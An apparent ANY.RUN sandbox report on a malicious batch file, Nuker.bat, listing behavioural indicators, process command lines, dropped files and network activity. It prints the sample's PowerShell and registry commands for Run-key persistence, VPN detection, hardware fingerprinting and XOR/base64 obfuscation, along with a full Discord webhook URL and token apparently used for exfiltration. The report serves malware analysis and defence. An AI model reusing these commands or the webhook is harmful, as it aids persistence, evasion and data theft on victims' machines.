File name:

Nuker.bat

Full analysis: https://app.any.run/tasks/869edd5e-fdea-458e-aaa7-c42af0787d40
Verdict: Malicious activity
Analysis date: June 01, 2025, 18:28:23
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
ims-api
generic
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with very long lines (2527), with CRLF line terminators
MD5:

478A2829DE7AA1FC02CA66A51FD3F0E9

SHA1:

042B1E153F2AA598082729FF0667A44F4113A7BA

SHA256:

53B403E3A79F7E045C2F1C7F01EAEC89E65E998F8A34665999EF43F508D4CDCB

SSDEEP:

384:cWlKWmHjw+Gxl0sTl5gA4Ce+DDVUMZtJdJ6biyN:plmGxl0s5NDVUwbyN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 4068)

  • SUSPICIOUS

    • Lists computer manufacturer and model

      • cmd.exe (PID: 7500)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 7500)

    • Process uses powershell cmdlet to discover network configuration

      • cmd.exe (PID: 7500)

    • Get information on the list of running processes

      • cmd.exe (PID: 7500)

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 7500)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 3192)
      • powershell.exe (PID: 4068)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 4068)

    • Receives information about network interfaces and IP addresses (POWERSHELL)

      • powershell.exe (PID: 4068)

    • Gets content of a file (POWERSHELL)

      • powershell.exe (PID: 4068)

    • Possible usage of Discord/Telegram API has been detected (YARA)

      • cmd.exe (PID: 7500)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 7500)

  • INFO

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6980)
      • powershell.exe (PID: 4068)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 3192)

    • Checks proxy server information

      • slui.exe (PID: 4528)

    • Reads the software policy settings

      • slui.exe (PID: 4528)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

ims-api

(PID) Process(7500) cmd.exe
Discord-Webhook-Tokens (1)1368207867211153479/FTMtCRdUDC7FR8K9n7oRqR-VGmH_YpGyI99cp3kncTApWVDGXy__oxdkSNXNvADABa0y
Discord-Info-Links
1368207867211153479/FTMtCRdUDC7FR8K9n7oRqR-VGmH_YpGyI99cp3kncTApWVDGXy__oxdkSNXNvADABa0y
Get Webhook Infohttps://discord.com/api/webhooks/1368207867211153479/FTMtCRdUDC7FR8K9n7oRqR-VGmH_YpGyI99cp3kncTApWVDGXy__oxdkSNXNvADABa0y
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
7
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs reg.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
672reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SysObliv /t REG_SZ /d "cmd.exe /c powershell -Command \"[System.Convert]::FromBase64String((Get-Content 'C:\WINDOWS\sysobliv_15247.enc' -Raw) -replace '28909','a' -replace '21406','e') C:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
3192powershell -Command "$vpnDetected = $false; $adapters = Get-NetAdapter | Where-Object { $_.InterfaceDescription -match 'VPN' -or $_.Name -match 'VPN' -or $_.InterfaceDescription -match 'Virtual' }; $processes = Get-Process | Where-Object { $_.Path -match 'openvpn|vpnclient|protonvpn|nordvpn|expressvpn' }; if ($adapters -or $processes) { $vpnDetected = $true }; [System.IO.File]::WriteAllText('C:\Users\admin\AppData\Local\Temp\obliv_2987031709\vpn_check.txt', $vpnDetected);"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
4068powershell -Command "$code = [System.Text.Encoding]::UTF8.GetBytes((Get-Content '"C:\Users\admin\Desktop\Nuker.bat"' -Raw));" "$key = 32398; $enc = $code | ForEach-Object { $_ -bxor $key }; $b64 = [Convert]::ToBase64String($enc);" "$mutated = $b64 -replace 'a','21683'; $mutated = $mutated -replace 'e','712';" "[System.IO.File]::WriteAllText('C:\Users\admin\AppData\Local\Temp\obliv_2987031709\obliv_32398.enc', $mutated);"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
4528C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6072\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6980powershell -Command "$hwId = (Get-WmiObject Win32_ComputerSystemProduct | Select-Object UUID).UUID + '-' + (Get-WmiObject Win32_DiskDrive | Select-Object SerialNumber -First 1).SerialNumber;" "[System.IO.File]::WriteAllText('C:\Users\admin\AppData\Local\Temp\obliv_2987031709\hwid.txt', $hwId);"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7500C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\Desktop\Nuker.bat" "C:\Windows\System32\cmd.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
255
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
ims-api
(PID) Process(7500) cmd.exe
Discord-Webhook-Tokens (1)1368207867211153479/FTMtCRdUDC7FR8K9n7oRqR-VGmH_YpGyI99cp3kncTApWVDGXy__oxdkSNXNvADABa0y
Discord-Info-Links
1368207867211153479/FTMtCRdUDC7FR8K9n7oRqR-VGmH_YpGyI99cp3kncTApWVDGXy__oxdkSNXNvADABa0y
Get Webhook Infohttps://discord.com/api/webhooks/1368207867211153479/FTMtCRdUDC7FR8K9n7oRqR-VGmH_YpGyI99cp3kncTApWVDGXy__oxdkSNXNvADABa0y
Total events
20 210
Read events
20 210
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
1
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
3192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tb5sibac.usb.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4068powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ajpl4nnq.5i5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6980powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_u2fedabz.asu.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6980powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ibqfedtt.t53.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3192powershell.exeC:\Users\admin\AppData\Local\Temp\obliv_2987031709\vpn_check.txttext
MD5:F8320B26D30AB433C5A54546D21F414C
SHA256:60A33E6CF5151F2D52EDDAE9685CFA270426AA89D8DBC7DFB854606F1D1A40FE
4068powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_co11rrx0.3ya.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3192powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_gi4qwphi.0z5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6980powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:53ACD5FBA7E0EB031C42D6F205AC7071
SHA256:7BEFF83954260E54D1F4DD4CC954192E9E532CEDA9133851BBF4D6775F2EFD68
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
20
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
POST
500
40.91.76.224:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
whitelisted
5352
RUXIMICS.exe
GET
200
23.48.23.173:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
POST
500
40.91.76.224:443
https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail
unknown
xml
512 b
whitelisted
5352
RUXIMICS.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
5352
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5352
RUXIMICS.exe
23.48.23.173:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5352
RUXIMICS.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
5772
slui.exe
20.83.72.98:443
activation-v2.sls.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4528
slui.exe
20.83.72.98:443
activation-v2.sls.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
google.com
  • 142.250.185.78
whitelisted
crl.microsoft.com
  • 23.48.23.173
  • 23.48.23.178
  • 23.48.23.176
  • 23.48.23.177
  • 23.48.23.169
  • 23.48.23.190
  • 23.48.23.168
  • 23.48.23.174
  • 23.48.23.185
whitelisted
www.microsoft.com
  • 23.35.229.160
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted
self.events.data.microsoft.com
  • 20.42.65.90
whitelisted

Threats

No threats detected
No debug info
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Reports
Nuker.bat